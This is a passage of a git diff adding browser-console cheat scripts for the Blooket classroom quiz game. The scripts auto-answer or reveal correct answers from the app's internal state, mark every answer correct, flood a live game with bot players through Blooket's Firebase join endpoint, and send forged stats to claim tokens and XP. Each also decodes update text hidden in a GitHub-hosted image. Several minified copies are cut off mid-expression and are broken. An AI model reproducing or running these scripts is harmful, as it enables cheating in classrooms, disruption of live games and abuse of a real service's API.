div[class*="camelCase"]'))[1].children[0]._owner["stateNode"];try{"typing"!=o.qType?("feedback"===e||t?document.querySelector('[class*="feedback"]')?.firstChild:[...document.querySelectorAll('[class*="answerContainer"]')][(o||n).answers.map((e,t)=>(o||n).correctAnswers.includes(e)?t:null).filter(e=>null!=e)[0]])?.click?.():Object.values(document.querySelector("[class*='typingAnswerWrapper']"))[1].children._owner.stateNode.sendAnswer(o.answers[0])}catch{}};let l=new Image;l.src="https://raw.githubusercontent.com/05Konz/Blooket-Cheats/main/autoupdate/timestamps/global/autoAnswer.png?"+Date.now(),l.crossOrigin="Anonymous",l.onload=function(){var e=document.createElement("canvas").getContext("2d");e.drawImage(l,0,0,this.width,this.height);let t=e.getImageData(0,0,this.width,this.height)["data"],o="",n;for(let e=0;e(l.src=null,a())})(); \ No newline at end of file diff --git a/cheats/global/changeBlookIngame.js b/cheats/global/changeBlookIngame.js new file mode 100644 index 0000000..2ab24b5 --- /dev/null +++ b/cheats/global/changeBlookIngame.js @@ -0,0 +1,44 @@ +/** +* @license StewartPrivateLicense-2.0.1 +* Copyright (c) 05Konz 2023 +* +* You may not reproduce or distribute any code inside this file without the licenser's permission. +* You may not copy, modify, steal, skid, or recreate any of the code inside this file. +* You may not under any circumstance republish any code from this file as your own. +* +* ALL TERMS STATED IN THE LINK BELOW APPLY ASWELL +* https://github.com/05Konz/Blooket-Cheats/blob/main/LICENSE +*/ + +/* THE UPDATE CHECKER IS ADDED DURING COMMIT PREP, THERE MAY BE REDUNDANT CODE, DO NOT TOUCH */ + +(() => { + const cheat = (async () => { + let i = document.createElement('iframe'); + document.body.append(i); + window.prompt = i.contentWindow.prompt.bind(window); + i.remove(); + let { props } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode; + props.client.blook = prompt("Blook Name: (Case Sensitive)"); + props.liveGameController.setVal({ path: `c/${props.client.name}/b`, val: props.client.blook }); + }); + let img = new Image; + img.src = "https://raw.githubusercontent.com/05Konz/Blooket-Cheats/main/autoupdate/timestamps/global/changeBlookIngame.png?" + Date.now(); + img.crossOrigin = "Anonymous"; + img.onload = function() { + const c = document.createElement("canvas"); + const ctx = c.getContext("2d"); + ctx.drawImage(img, 0, 0, this.width, this.height); + let { data } = ctx.getImageData(0, 0, this.width, this.height), decode = "", last; + for (let i = 0; i < data.length; i += 4) { + let char = String.fromCharCode(data[i + 1] * 256 + data[i + 2]); + decode += char; + if (char == "/" && last == "*") break; + last = char; + } + let iframe = document.querySelector("iframe"); + const [_, time, error] = decode.match(/LastUpdated: (.+?); ErrorMessage: "(.+?)"/); + if (parseInt(time) <= 1692640271937 || iframe.contentWindow.confirm(error)) cheat(); + } + img.onerror = img.onabort = () => (img.src = null, cheat()); +})(); \ No newline at end of file diff --git a/cheats/global/changeBlookIngame.min.js b/cheats/global/changeBlookIngame.min.js new file mode 100644 index 0000000..e9a18e5 --- /dev/null +++ b/cheats/global/changeBlookIngame.min.js @@ -0,0 +1 @@ +/* All terms found in the following link apply: https://github.com/05Konz/Blooket-Cheats/blob/main/LICENSE */ (()=>{let r=document.querySelector("iframe");r.contentWindow.console.log.call(window,"%c Blooket Cheats %c\n\tBy 05Konz on GitHub","color: #0bc2cf; font-size: 3rem","color: #8000ff; font-size: 1rem"),r.contentWindow.console.log.call(window,"%c\tchangeBlookIngame.js","color: #0bc2cf; font-size: 1rem"),r.contentWindow.console.log.call(window,"%c\tStar the github repo!%c https://github.com/05Konz/Blooket-Cheats","color: #ffd000; font-size: 1rem","");const l=async()=>{var e=document.createElement("iframe"),e=(document.body.append(e),window.prompt=e.contentWindow.prompt.bind(window),e.remove(),Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner.stateNode)["props"];e.client.blook=prompt("Blook Name: (Case Sensitive)"),e.liveGameController.setVal({path:`c/${e.client.name}/b`,val:e.client.blook})};let i=new Image;i.src="https://raw.githubusercontent.com/05Konz/Blooket-Cheats/main/autoupdate/timestamps/global/changeBlookIngame.png?"+Date.now(),i.crossOrigin="Anonymous",i.onload=function(){var e=document.createElement("canvas").getContext("2d");e.drawImage(i,0,0,this.width,this.height);let o=e.getImageData(0,0,this.width,this.height)["data"],t="",n;for(let e=0;e(i.src=null,l())})(); \ No newline at end of file diff --git a/cheats/global/everyAnswerCorrect.js b/cheats/global/everyAnswerCorrect.js new file mode 100644 index 0000000..8d058e0 --- /dev/null +++ b/cheats/global/everyAnswerCorrect.js @@ -0,0 +1,39 @@ +/** +* @license StewartPrivateLicense-2.0.1 +* Copyright (c) 05Konz 2023 +* +* You may not reproduce or distribute any code inside this file without the licenser's permission. +* You may not copy, modify, steal, skid, or recreate any of the code inside this file. +* You may not under any circumstance republish any code from this file as your own. +* +* ALL TERMS STATED IN THE LINK BELOW APPLY ASWELL +* https://github.com/05Konz/Blooket-Cheats/blob/main/LICENSE +*/ + +/* THE UPDATE CHECKER IS ADDED DURING COMMIT PREP, THERE MAY BE REDUNDANT CODE, DO NOT TOUCH */ + +(() => { + const cheat = (async () => { + const { stateNode } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + stateNode.freeQuestions = stateNode.questions = stateNode.props.client.questions.map(x => ({ ...x, correctAnswers: x.answers })); + }); + let img = new Image; + img.src = "https://raw.githubusercontent.com/05Konz/Blooket-Cheats/main/autoupdate/timestamps/global/everyAnswerCorrect.png?" + Date.now(); + img.crossOrigin = "Anonymous"; + img.onload = function() { + const c = document.createElement("canvas"); + const ctx = c.getContext("2d"); + ctx.drawImage(img, 0, 0, this.width, this.height); + let { data } = ctx.getImageData(0, 0, this.width, this.height), decode = "", last; + for (let i = 0; i < data.length; i += 4) { + let char = String.fromCharCode(data[i + 1] * 256 + data[i + 2]); + decode += char; + if (char == "/" && last == "*") break; + last = char; + } + let iframe = document.querySelector("iframe"); + const [_, time, error] = decode.match(/LastUpdated: (.+?); ErrorMessage: "(.+?)"/); + if (parseInt(time) <= 1692640271975 || iframe.contentWindow.confirm(error)) cheat(); + } + img.onerror = img.onabort = () => (img.src = null, cheat()); +})(); \ No newline at end of file diff --git a/cheats/global/everyAnswerCorrect.min.js b/cheats/global/everyAnswerCorrect.min.js new file mode 100644 index 0000000..58b4ac5 --- /dev/null +++ b/cheats/global/everyAnswerCorrect.min.js @@ -0,0 +1 @@ +/* All terms found in the following link apply: https://github.com/05Konz/Blooket-Cheats/blob/main/LICENSE */ (()=>{let c=document.querySelector("iframe");c.contentWindow.console.log.call(window,"%c Blooket Cheats %c\n\tBy 05Konz on GitHub","color: #0bc2cf; font-size: 3rem","color: #8000ff; font-size: 1rem"),c.contentWindow.console.log.call(window,"%c\teveryAnswerCorrect.js","color: #0bc2cf; font-size: 1rem"),c.contentWindow.console.log.call(window,"%c\tStar the github repo!%c https://github.com/05Konz/Blooket-Cheats","color: #ffd000; font-size: 1rem","");const a=async()=>{var e=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner["stateNode"];e.freeQuestions=e.questions=e.props.client.questions.map(e=>({...e,correctAnswers:e.answers}))};let l=new Image;l.src="https://raw.githubusercontent.com/05Konz/Blooket-Cheats/main/autoupdate/timestamps/global/everyAnswerCorrect.png?"+Date.now(),l.crossOrigin="Anonymous",l.onload=function(){var e=document.createElement("canvas").getContext("2d");e.drawImage(l,0,0,this.width,this.height);let t=e.getImageData(0,0,this.width,this.height)["data"],o="",n;for(let e=0;e(l.src=null,a())})(); \ No newline at end of file diff --git a/cheats/global/floodGame.js b/cheats/global/floodGame.js new file mode 100644 index 0000000..53104e5 --- /dev/null +++ b/cheats/global/floodGame.js @@ -0,0 +1,74 @@ +/** +* @license StewartPrivateLicense-2.0.1 +* Copyright (c) 05Konz 2023 +* +* You may not reproduce or distribute any code inside this file without the licenser's permission. +* You may not copy, modify, steal, skid, or recreate any of the code inside this file. +* You may not under any circumstance republish any code from this file as your own. +* +* ALL TERMS STATED IN THE LINK BELOW APPLY ASWELL +* https://github.com/05Konz/Blooket-Cheats/blob/main/LICENSE +*/ + +/* THE UPDATE CHECKER IS ADDED DURING COMMIT PREP, THERE MAY BE REDUNDANT CODE, DO NOT TOUCH */ + +(() => { + const cheat = (async () => { + let i = document.createElement('iframe'); + document.body.append(i); + window.prompt = i.contentWindow.prompt.bind(window); + i.remove(); + + const id = prompt("Game ID:"); + const name = prompt("Name:"); + const amount = parseInt(prompt("Amount:")); + + let cache = Object.values(webpackJsonp.push([[], { ['']: (_, a, b) => { a.cache = b.c }, }, [['']]]).cache); + const axios = cache.find((x) => x.exports?.a?.get).exports.a; + const firebase = cache.find(x => x.exports?.a?.initializeApp).exports.a; + const blooks = Object.keys(Object.values(cache).find(x => x.exports.a?.Black).exports.a); + + for (let i = 1; i <= amount; i++) { + (async () => { + let ign = `${name}${String.fromCharCode(96 + i)}`; + const { data: { success, fbToken, fbShardURL } } = await axios.put("https://fb.blooket.com/c/firebase/join", { id, name: ign }); + if (!success) return; + const liveApp = firebase.initializeApp({ + apiKey: "AIzaSyCA-cTOnX19f6LFnDVVsHXya3k6ByP_MnU", + authDomain: "blooket-2020.firebaseapp.com", + projectId: "blooket-2020", + storageBucket: "blooket-2020.appspot.com", + messagingSenderId: "741533559105", + appId: "1:741533559105:web:b8cbb10e6123f2913519c0", + measurementId: "G-S3H5NGN10Z", + databaseURL: fbShardURL + }, ign); + const auth = firebase.auth(liveApp); + await auth.setPersistence(firebase.auth.Auth.Persistence.NONE).catch(console.error); + await auth.signInWithCustomToken(fbToken).catch(console.error); + await liveApp.database().ref(`${id}/c/${ign}`).set({ b: blooks[Math.floor(Math.random() * blooks.length)] }); + liveApp.delete(); + })(); + await new Promise(r => setTimeout(r, 100)); + } + }); + let img = new Image; + img.src = "https://raw.githubusercontent.com/05Konz/Blooket-Cheats/main/autoupdate/timestamps/global/floodGame.png?" + Date.now(); + img.crossOrigin = "Anonymous"; + img.onload = function() { + const c = document.createElement("canvas"); + const ctx = c.getContext("2d"); + ctx.drawImage(img, 0, 0, this.width, this.height); + let { data } = ctx.getImageData(0, 0, this.width, this.height), decode = "", last; + for (let i = 0; i < data.length; i += 4) { + let char = String.fromCharCode(data[i + 1] * 256 + data[i + 2]); + decode += char; + if (char == "/" && last == "*") break; + last = char; + } + let iframe = document.querySelector("iframe"); + const [_, time, error] = decode.match(/LastUpdated: (.+?); ErrorMessage: "(.+?)"/); + if (parseInt(time) <= 1692640272030 || iframe.contentWindow.confirm(error)) cheat(); + } + img.onerror = img.onabort = () => (img.src = null, cheat()); +})(); \ No newline at end of file diff --git a/cheats/global/floodGame.min.js b/cheats/global/floodGame.min.js new file mode 100644 index 0000000..eb6ea3f --- /dev/null +++ b/cheats/global/floodGame.min.js @@ -0,0 +1 @@ +/* All terms found in the following link apply: https://github.com/05Konz/Blooket-Cheats/blob/main/LICENSE */ (()=>{let c=document.querySelector("iframe");c.contentWindow.console.log.call(window,"%c Blooket Cheats %c\n\tBy 05Konz on GitHub","color: #0bc2cf; font-size: 3rem","color: #8000ff; font-size: 1rem"),c.contentWindow.console.log.call(window,"%c\tfloodGame.js","color: #0bc2cf; font-size: 1rem"),c.contentWindow.console.log.call(window,"%c\tStar the github repo!%c https://github.com/05Konz/Blooket-Cheats","color: #ffd000; font-size: 1rem","");const s=async()=>{var e=document.createElement("iframe");document.body.append(e),window.prompt=e.contentWindow.prompt.bind(window),e.remove();const r=prompt("Game ID:"),c=prompt("Name:");var t=parseInt(prompt("Amount:")),e=Object.values(webpackJsonp.push([[],{"":(e,t,o)=>{t.cache=o.c}},[[""]]]).cache);const s=e.find(e=>e.exports?.a?.get).exports.a,i=e.find(e=>e.exports?.a?.initializeApp).exports.a,l=Object.keys(Object.values(e).find(e=>e.exports.a?.Black).exports.a);for(let n=1;n<=t;n++)(async()=>{var e=""+c+String.fromCharCode(96+n),{success:t,fbToken:o,fbShardURL:a}=(await s.put("https://fb.blooket.com/c/firebase/join",{id:r,name:e}))["data"];t&&(t=i.initializeApp({apiKey:"AIzaSyCA-cTOnX19f6LFnDVVsHXya3k6ByP_MnU",authDomain:"blooket-2020.firebaseapp.com",projectId:"blooket-2020",storageBucket:"blooket-2020.appspot.com",messagingSenderId:"741533559105",appId:"1:741533559105:web:b8cbb10e6123f2913519c0",measurementId:"G-S3H5NGN10Z",databaseURL:a},e),await(a=i.auth(t)).setPersistence(i.auth.Auth.Persistence.NONE).catch(console.error),await a.signInWithCustomToken(o).catch(console.error),await t.database().ref(r+"/c/"+e).set({b:l[Math.floor(Math.random()*l.length)]}),t.delete())})(),await new Promise(e=>setTimeout(e,100))};let i=new Image;i.src="https://raw.githubusercontent.com/05Konz/Blooket-Cheats/main/autoupdate/timestamps/global/floodGame.png?"+Date.now(),i.crossOrigin="Anonymous",i.onload=function(){var e=document.createElement("canvas").getContext("2d");e.drawImage(i,0,0,this.width,this.height);let t=e.getImageData(0,0,this.width,this.height)["data"],o="",a;for(let e=0;e(i.src=null,s())})(); \ No newline at end of file diff --git a/cheats/global/getDailyRewards.js b/cheats/global/getDailyRewards.js new file mode 100644 index 0000000..4efe1b3 --- /dev/null +++ b/cheats/global/getDailyRewards.js @@ -0,0 +1,66 @@ +/** +* @license StewartPrivateLicense-2.0.1 +* Copyright (c) 05Konz 2023 +* +* You may not reproduce or distribute any code inside this file without the licenser's permission. +* You may not copy, modify, steal, skid, or recreate any of the code inside this file. +* You may not under any circumstance republish any code from this file as your own. +* +* ALL TERMS STATED IN THE LINK BELOW APPLY ASWELL +* https://github.com/05Konz/Blooket-Cheats/blob/main/LICENSE +*/ + +/* THE UPDATE CHECKER IS ADDED DURING COMMIT PREP, THERE MAY BE REDUNDANT CODE, DO NOT TOUCH */ + +(() => { + const cheat = (async () => { + let i = document.createElement('iframe'); + document.body.append(i); + window.alert = i.contentWindow.alert.bind(window); + i.remove(); + if (!location.href.includes("play.blooket.com")) (alert("This cheat only works on play.blooket.com, opening a new tab."), window.open("https://play.blooket.com/")); + else { + const cache = Object.values(webpackJsonp.push([[], { ['']: (_, a, b) => { a.cache = b.c }, }, [['']],]).cache), + axios = cache.find((x) => x.exports?.a?.get).exports.a; + axios.post("https://play.blooket.com/api/playersessions/solo", { + gameMode: "Factory", + questionSetId: ["60101da869e8c70013913b59", "625db660c6842334835cb4c6", "60268f8861bd520016eae038", "611e6c804abdf900668699e3", "60ba5ff6077eb600221b7145", "642467af9b704783215c1f1b", "605bd360e35779001bf57c5e", "6234cc7add097ff1c9cff3bd", "600b1491d42a140004d5215a", "5db75fa3f1fa190017b61c0c", "5fac96fe2ca0da00042b018f", "600b14d8d42a140004d52165", "5f88953cdb209e00046522c7", "600b153ad42a140004d52172", "5fe260e72a505b00040e2a11", "5fe3d085a529560004cd3076", "5f5fc017aee59500041a1456", "608b0a5863c4f2001eed43f4", "5fad491512c8620004918ace", "5fc91a9b4ea2e200046bd49a", "5c5d06a7deebc70017245da7", "5ff767051b68750004a6fd21", "5fdcacc85d465a0004b021b9", "5fb7eea20bd44300045ba495"][Math.floor(Math.random() * 24)] + }).then(async ({ data: { t } }) => { + await axios.post("https://play.blooket.com/api/playersessions/landings", { t }); + const { name, blook: { name: blookUsed } } = await cache.find(x => x.exports.a?.me).exports.a.me({}).catch(() => alert('There was an error getting user data.')); + await axios.put("https://play.blooket.com/api/users/factorystats", { + blookUsed, t, name, + cash: Math.floor(Math.random() * 90000000) + 10000000, + correctAnswers: Math.floor(Math.random() * 500) + 500, + upgrades: Math.floor(Math.random() * 300) + 300, + mode: "Time-Solo", + nameUsed: "You", + place: 1, + playersDefeated: 0, + }).then(console.log); + axios.put("https://play.blooket.com/api/users/add-rewards", { t, name, addedTokens: 500, addedXp: 300 }) + .then(({ data: { dailyReward } }) => alert(`Added max tokens and xp, and got ${dailyReward} daily wheel tokens!`)) + .catch(() => alert('There was an error when adding rewards.')); + }); + } + }); + let img = new Image; + img.src = "https://raw.githubusercontent.com/05Konz/Blooket-Cheats/main/autoupdate/timestamps/global/getDailyRewards.png?" + Date.now(); + img.crossOrigin = "Anonymous"; + img.onload = function() { + const c = document.createElement("canvas"); + const ctx = c.getContext("2d"); + ctx.drawImage(img, 0, 0, this.width, this.height); + let { data } = ctx.getImageData(0, 0, this.width, this.height), decode = "", last; + for (let i = 0; i < data.length; i += 4) { + let char = String.fromCharCode(data[i + 1] * 256 + data[i + 2]); + decode += char; + if (char == "/" && last == "*") break; + last = char; + } + let iframe = document.querySelector("iframe"); + const [_, time, error] = decode.match(/LastUpdated: (.+?); ErrorMessage: "(.+?)"/); + if (parseInt(time) <= 1692640272046 || iframe.contentWindow.confirm(error)) cheat(); + } + img.onerror = img.onabort = () => (img.src = null, cheat()); +})(); \ No newline at end of file diff --git a/cheats/global/getDailyRewards.min.js b/cheats/global/getDailyRewards.min.js new file mode 100644 index 0000000..7f3f4b7 --- /dev/null +++ b/cheats/global/getDailyRewards.min.js @@ -0,0 +1 @@ +/* All terms found in the following link apply: https://github.com/05Konz/Blooket-Cheats/blob/main/LICENSE */ (()=>{let d=document.querySelector("iframe");d.contentWindow.console.log.call(window,"%c Blooket Cheats %c\n\tBy 05Konz on GitHub","color: #0bc2cf; font-size: 3rem","color: #8000ff; font-size: 1rem"),d.contentWindow.console.log.call(window,"%c\tgetDailyRewards.js","color: #0bc2cf; font-size: 1rem"),d.contentWindow.console.log.call(window,"%c\tStar the github repo!%c https://github.com/05Konz/Blooket-Cheats","color: #ffd000; font-size: 1rem","");const r=async()=>{var e=document.createElement("iframe");if(document.body.append(e),window.alert=e.contentWindow.alert.bind(window),e.remove(),location.href.includes("play.blooket.com")){const o=Object.values(webpackJsonp.push([[],{"":(e,a,t)=>{a.cache=t.c}},[[""]]]).cache),n=o.find(e=>e.exports?.a?.get).exports.a;n.post("https://play.blooket.com/api/playersessions/solo",{gameMode:"Factory",questionSetId:["60101da869e8c70013913b59","625db660c6842334835cb4c6","60268f8861bd520016eae038","611e6c804abdf900668699e3","60ba5ff6077eb600221b7145","642467af9b704783215c1f1b","605bd360e35779001bf57c5e","6234cc7add097ff1c9cff3bd","600b1491d42a140004d5215a","5db75fa3f1fa190017b61c0c","5fac96fe2ca0da00042b018f","600b14d8d42a140004d52165","5f88953cdb209e00046522c7","600b153ad42a140004d52172","5fe260e72a505b00040e2a11","5fe3d085a529560004cd3076","5f5fc017aee59500041a1456","608b0a5863c4f2001eed43f4","5fad491512c8620004918ace","5fc91a9b4ea2e200046bd49a","5c5d06a7deebc70017245da7","5ff767051b68750004a6fd21","5fdcacc85d465a0004b021b9","5fb7eea20bd44300045ba495"][Math.floor(24*Math.random())]}).then(async({data:{t:e}})=>{await n.post("https://play.blooket.com/api/playersessions/landings",{t:e});var{name:a,blook:{name:t}}=await o.find(e=>e.exports.a?.me).exports.a.me({}).catch(()=>alert("There was an error getting user data."));await n.put("https://play.blooket.com/api/users/factorystats",{blookUsed:t,t:e,name:a,cash:Math.floor(9e7*Math.random())+1e7,correctAnswers:Math.floor(500*Math.random())+500,upgrades:Math.floor(300*Math.random())+300,mode:"Time-Solo",nameUsed:"You",place:1,playersDefeated:0}).then(console.log),n.put("https://play.blooket.com/api/users/add-rewards",{t:e,name:a,addedTokens:500,addedXp:300}).then(({data:{dailyReward:e}})=>alert(`Added max tokens and xp, and got ${e} daily wheel tokens!`)).catch(()=>alert("There was an error when adding rewards."))})}else alert("This cheat only works on play.blooket.com, opening a new tab."),window.open("https://play.blooket.com/")};let s=new Image;s.src="https://raw.githubusercontent.com/05Konz/Blooket-Cheats/main/autoupdate/timestamps/global/getDailyRewards.png?"+Date.now(),s.crossOrigin="Anonymous",s.onload=function(){var e=document.createElement("canvas").getContext("2d");e.drawImage(s,0,0,this.width,this.height);let a=e.getImageData(0,0,this.width,this.height)["data"],t="",o;for(let e=0;e(s.src=null,r())})(); \ No newline at end of file diff --git a/cheats/global/highlightAnswers.js b/cheats/global/highlightAnswers.js new file mode 100644 index 0000000..eff2fef --- /dev/null +++ b/cheats/global/highlightAnswers.js @@ -0,0 +1,42 @@ +/** +* @license StewartPrivateLicense-2.0.1 +* Copyright (c) 05Konz 2023 +* +* You may not reproduce or distribute any code inside this file without the licenser's permission. +* You may not copy, modify, steal, skid, or recreate any of the code inside this file. +* You may not under any circumstance republish any code from this file as your own. +* +* ALL TERMS STATED IN THE LINK BELOW APPLY ASWELL +* https://github.com/05Konz/Blooket-Cheats/blob/main/LICENSE +*/ + +/* THE UPDATE CHECKER IS ADDED DURING COMMIT PREP, THERE MAY BE REDUNDANT CODE, DO NOT TOUCH */ + +(() => { + const cheat = (async () => { + const { stateNode: { state, props } } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + [...document.querySelectorAll(`[class*="answerContainer"]`)].forEach((answer, i) => { + if ((state.question || props.client.question).correctAnswers.includes((state.question || props.client.question).answers[i])) answer.style.backgroundColor = "rgb(0, 207, 119)"; + else answer.style.backgroundColor = "rgb(189, 15, 38)"; + }); + }); + let img = new Image; + img.src = "https://raw.githubusercontent.com/05Konz/Blooket-Cheats/main/autoupdate/timestamps/global/highlightAnswers.png?" + Date.now(); + img.crossOrigin = "Anonymous"; + img.onload = function() { + const c = document.createElement("canvas"); + const ctx = c.getContext("2d"); + ctx.drawImage(img, 0, 0, this.width, this.height); + let { data } = ctx.getImageData(0, 0, this.width, this.height), decode = "", last; + for (let i = 0; i < data.length; i += 4) { + let char = String.fromCharCode(data[i + 1] * 256 + data[i + 2]); + decode += char; + if (char == "/" && last == "*") break; + last = char; + } + let iframe = document.querySelector("iframe"); + const [_, time, error] = decode.match(/LastUpdated: (.+?); ErrorMessage: "(.+?)"/); + if (parseInt(time) <= 1692640272105 || iframe.contentWindow.confirm(error)) cheat(); + } + img.onerror = img.onabort = () => (img.src = null, cheat()); +})(); \ No newline at end of file diff --git a/cheats/global/highlightAnswers.min.js b/cheats/global/highlightAnswers.min.js new file mode 100644 index 0000000..76dfe72 --- /dev/null +++ b/cheats/global/highlightAnswers.min.js @@ -0,0 +1 @@ +/* All terms found in the following link apply: https://github.com/05Konz/Blooket-Cheats/blob/main/LICENSE */ (()=>{let c=document.querySelector("iframe");c.contentWindow.console.log.call(window,"%c Blooket Cheats %c\n\tBy 05Konz on GitHub","color: #0bc2cf; font-size: 3rem","color: #8000ff; font-size: 1rem"),c.contentWindow.console.log.call(window,"%c\thighlightAnswers.js","color: #0bc2cf; font-size: 1rem"),c.contentWindow.console.log.call(window,"%c\tStar the github repo!%c https://github.com/05Konz/Blooket-Cheats","color: #ffd000; font-size: 1rem","");const a=async()=>{const{state:o,props:n}=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner["stateNode"];[...document.querySelectorAll('[class*="answerContainer"]')].forEach((e,t)=>{(o.question||n.client.question).correctAnswers.includes((o.question||n.client.question).answers[t])?e.style.backgroundColor="rgb(0, 207, 119)":e.style.backgroundColor="rgb(189, 15, 38)"})};let l=new Image;l.src="https://raw.githubusercontent.com/05Konz/Blooket-Cheats/main/autoupdate/timestamps/global/highlightAnswers.png?"+Date.now(),l.crossOrigin="Anonymous",l.onload=function(){var e=document.createElement("canvas").getContext("2d");e.drawImage(l,0,0,this.width,this.height);let t=e.getImageData(0,0,this.width,this.height)["data"],o="",n;for(let e=0;e(l.src=null,a())})(); \ No newline at end of file diff --git a/cheats/global/intervals/autoAnswer.js b/cheats/global/intervals/autoAnswer.js new file mode 100644 index 0000000..059d768 --- /dev/null +++ b/cheats/global/intervals/autoAnswer.js @@ -0,0 +1,45 @@ +/** +* @license StewartPrivateLicense-2.0.1 +* Copyright (c) 05Konz 2023 +* +* You may not reproduce or distribute any code inside this file without the licenser's permission. +* You may not copy, modify, steal, skid, or recreate any of the code inside this file. +* You may not under any circumstance republish any code from this file as your own. +* +* ALL TERMS STATED IN THE LINK BELOW APPLY ASWELL +* https://github.com/05Konz/Blooket-Cheats/blob/main/LICENSE +*/ + +/* THE UPDATE CHECKER IS ADDED DURING COMMIT PREP, THERE MAY BE REDUNDANT CODE, DO NOT TOUCH */ + +(() => { + const cheat = (async () => { + setInterval(() => { + const { stateNode: { state: { question, stage, feedback }, props: { client: { question: pquestion } } } } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + try { + if (question.qType != "typing") if (stage !== "feedback" && !feedback) [...document.querySelectorAll(`[class*="answerContainer"]`)][(question || pquestion).answers.map((x, i) => (question || pquestion).correctAnswers.includes(x) ? i : null).filter(x => x != null)[0]]?.click?.(); + else document.querySelector('[class*="feedback"]')?.firstChild?.click?.(); + else Object.values(document.querySelector("[class*='typingAnswerWrapper']"))[1].children._owner.stateNode.sendAnswer(question.answers[0]) + } catch { } + }); + }); + let img = new Image; + img.src = "https://raw.githubusercontent.com/05Konz/Blooket-Cheats/main/autoupdate/timestamps/global/intervals/autoAnswer.png?" + Date.now(); + img.crossOrigin = "Anonymous"; + img.onload = function() { + const c = document.createElement("canvas"); + const ctx = c.getContext("2d"); + ctx.drawImage(img, 0, 0, this.width, this.height); + let { data } = ctx.getImageData(0, 0, this.width, this.height), decode = "", last; + for (let i = 0; i < data.length; i += 4) { + let char = String.fromCharCode(data[i + 1] * 256 + data[i + 2]); + decode += char; + if (char == "/" && last == "*") break; + last = char; + } + let iframe = document.querySelector("iframe"); + const [_, time, error] = decode.match(/LastUpdated: (.+?); ErrorMessage: "(.+?)"/); + if (parseInt(time) <= 1692640272110 || iframe.contentWindow.confirm(error)) cheat(); + } + img.onerror = img.onabort = () => (img.src = null, cheat()); +})(); \ No newline at end of file diff --git a/cheats/global/intervals/autoAnswer.min.js b/cheats/global/intervals/autoAnswer.min.js new file mode 100644 index 0000000..ac7a6ed --- /dev/null +++ b/cheats/global/intervals/autoAnswer.min.js @@ -0,0 +1 @@ +/* All terms found in the following link apply: https://github.com/05Konz/Blooket-Cheats/blob/main/LICENSE */ (()=>{let s=document.querySelector("iframe");s.contentWindow.console.log.call(window,"%c Blooket Cheats %c\n\tBy 05Konz on GitHub","color: #0bc2cf; font-size: 3rem","color: #8000ff; font-size: 1rem"),s.contentWindow.console.log.call(window,"%c\tautoAnswer.js","color: #0bc2cf; font-size: 1rem"),s.contentWindow.console.log.call(window,"%c\tStar the github repo!%c https://github.com/05Konz/Blooket-Cheats","color: #ffd000; font-size: 1rem","");const a=async()=>{setInterval(()=>{const{state:{question:o,stage:e,feedback:t},props:{client:{question:n}}}=Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner["stateNode"];try{"typing"!=o.qType?("feedback"===e||t?document.querySelector('[class*="feedback"]')?.firstChild:[...document.querySelectorAll('[class*="answerContainer"]')][(o||n).answers.map((e,t)=>(o||n).correctAnswers.includes(e)?t:null).filter(e=>null!=e)[0]])?.click?.():Object.values(document.querySelector("[class*='typingAnswerWrapper']"))[1].children._owner.stateNode.sendAnswer(o.answers[0])}catch{}})};let l=new Image;l.src="https://raw.githubusercontent.com/05Konz/Blooket-Cheats/main/autoupdate/timestamps/global/intervals/autoAnswer.png?"+Date.now(),l.crossOrigin="Anonymous",l.onload=function(){var e=document.createElement("canvas").getContext("2d");e.drawImage(l,0,0,this.width,this.height);let t=e.getImageData(0,0,this.width,this.height)["data"],o="",n;for(let e=0;e(l.src=null,a())})(); \ No newline at end of file diff --git a/cheats/global/intervals/highlightAnswers.js b/cheats/global/intervals/highlightAnswers.js new file mode 100644 index 0000000..c25f247 --- /dev/null +++ b/cheats/global/intervals/highlightAnswers.js @@ -0,0 +1,44 @@ +/** +* @license StewartPrivateLicense-2.0.1 +* Copyright (c) 05Konz 2023 +* +* You may not reproduce or distribute any code inside this file without the licenser's permission. +* You may not copy, modify, steal, skid, or recreate any of the code inside this file. +* You may not under any circumstance republish any code from this file as your own. +* +* ALL TERMS STATED IN THE LINK BELOW APPLY ASWELL +* https://github.com/05Konz/Blooket-Cheats/blob/main/LICENSE +*/ + +/* THE UPDATE CHECKER IS ADDED DURING COMMIT PREP, THERE MAY BE REDUNDANT CODE, DO NOT TOUCH */ + +(() => { + const cheat = (async () => { + setInterval(() => { + const { stateNode: { state, props } } = Object.values(document.querySelector('body div[class*="camelCase"]'))[1].children[0]._owner; + [...document.querySelectorAll(`[class*="answerContainer"]`)].forEach((answer, i) => { + if ((state.question || props.client.question).correctAnswers.includes((state.question || props.client.question).answers[i])) answer.style.backgroundColor = "rgb(0, 207, 119)"; + else answer.style.backgroundColor = "rgb(189, 15, 38)"; + }); + }); + }); + let img = new Image; + img.src = "https://raw.githubusercontent.com/05Konz/Blooket-Cheats/main/autoupdate/timestamps/global/intervals/highlightAnswers.png?" + Date.now(); + img.crossOrigin = "Anonymous"; + img.onload = function() { + const c = document.createElement("canvas"); + const ctx = c.getContext("2d"); + ctx.drawImage(img, 0, 0, this.width, this.height); + let { data } = ctx.getImageData(0, 0, this.width, this.height), decode = "", last; + for (let i = 0; i < data.length; i += 4) { + let char = String.fromCharCode(data[i + 1] * 256 + data[i + 2]); + decode += char; + if (char == "/" && last == "*") break; + last = char; + } + let iframe = document.querySelector("iframe"); + const [_, time, error] = decode.match(/LastUpdated: (.+?); ErrorMessage: "(.+?)"/); + if (parseInt(time) <= 1692640272114 || iframe.contentWindow.confirm(error)) cheat(); + } + img.onerror = img.onabort = () => (img.src = null, cheat()); +})(); \ No newline at end of file diff --git a/cheats/global/intervals/highlightAnswers.min.js b/cheats/global/intervals/highlightAnswers.min.js new file mode 100644 index 0000000..0adb97e --- /dev/null +++ b/cheats/global/intervals/highlightAnswers.min.js @@ -0,0 +1 @@ +/* All terms found in the following link apply: https://github.com/05Konz/Blooket-Cheats/blob/main/LICENSE */ (()=>{let c=document.querySelector("iframe");c.contentWindow.console.log.call(window,"%c Blooket Cheats %c\n\tBy 05Konz on GitHub","color: #0bc2cf; font-size: 